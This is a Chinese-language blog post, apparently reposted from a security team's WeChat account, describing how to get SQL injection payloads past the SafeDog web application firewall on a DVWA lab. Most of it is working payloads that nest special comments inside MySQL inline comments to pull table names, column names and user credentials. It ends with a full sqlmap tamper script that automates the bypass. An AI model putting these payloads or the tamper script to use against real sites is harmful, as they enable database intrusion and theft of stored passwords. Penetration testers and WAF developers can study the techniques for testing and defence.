环境:Apache+PHP+MySQL+安全狗V4.0(默认配置)
Dvwa靶场环境直接开始测试。
id=1+or+1#
简单的探测一下,被拦截。
id=1+||+1#
使用同义替换的思路,用||替换or,被拦截。
id=1/*!or*/1#
使用内联注释,被拦截。
/*! MySQL-specific code */
/*MySQL服务器识别以下语句中的 STRAIGHT_JOIN 关键字,但其他服务器不会。*/
SELECT /*! STRAIGHT_JOIN */ col1 FROM table1,table2 WHERE ...
/*如果在!之后添加版本号字符,注释中的语法只有在 MySQL 版本大于或等于该版本号字符时才会执行。*/
CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024 */;
id=1#%0a/*!or*/#%0a1
注释加换行,被拦截。
于是就想着在内联注释里面再加上一段注释。
id=1#%0a/*!or/*111111111111*/*/#%0a1
被拦截。
于是又想到,内联注释里面插入特殊的注释是不是可以绕过安全狗的正则呢。
生成大量特殊注释进行Fuzz。
SQL报错:
被拦截:
成功Fuzz:
id=1#%0a/*!or/*////!*/*/#%0a1
被拦截。
URL编码一下。
id=1#%0a/*!or/*%2f%2f%2f%2f%21%2a%2f*/#%0a1
Fuzz出来的特殊注释可以使用后,开始注数据,基操不做赘述。
id=1#%0a/*!order/*%2f%2f%2f%2f%21%2a%2f*/#%0aby+3
id=1#%0a/*!order/*%2f%2f%2f%2f%21%2a%2f*/#%0aby+2
id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+1111,2222
id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+user(),2222
这里被拦截了。
id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+user/**/(),2222
MySQL函数名与左括号中间是可以插入内容的,不影响函数正常执行。
id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+database/**/(),2222
id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+table_name,2222+from+information_schema.tables+where+table_schema='dvwa'
被拦截。
在敏感的关键字前后插入我们的特殊注释进行绕过。
id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+table_name,2222+/*////!*/from+information_schema.tables+where+table_schema='dvwa'
id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+column_name,2222+/*////!*/from+information_schema.columns+where+table_schema='dvwa'+and+table_name='users'
被拦截。
id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+column_name,2222+/*////!*/from+information_schema.columns+where+table_schema='dvwa'+and+/*////!*/table_name='users'
id=1#%0a/*!union/*%2f%2f%2f%2f%21%2a%2f*/#%0aselect+user,password+/*////!*/from+users
基于上面的绕过方法,temper编写其实也很简单。思路就是替换关键字,用特殊注释/////!/绕过。
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload = re.sub(r"CONCAT", "/*!CONCaT/*////!*/*/", payload)
payload = re.sub(r"SELECT", "/*!SElECT/*////!*/*/", payload)
payload = re.sub(r"ORDER", "/*!ORDER/*////!*/*/", payload)
payload = re.sub(r"UNION", "/*!UNION/*////!*/*/", payload)
return payload
在测试tamper的时候发现一个很有意思的事,在安全狗默认配置的情况下sqlmap不做任何配置可以成功跑出注入点,但是跑不出数据,利用sqlmap进行fuzz或许也可行。
--tamper=safedog.py加上我们的tamper,可以看到sqlmap正在跑数据了。
如果说安全狗进行合理的配置后,绕过还是比较费劲的。比如说检测了information_schema就没法注数据了,但是高版本MySQL又可以用sys库、mysql库绕过,这也就是一个对抗的过程了。。。
原文始发于微信公众号(雁行安全团队):SQL注入过狗和temper编写
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论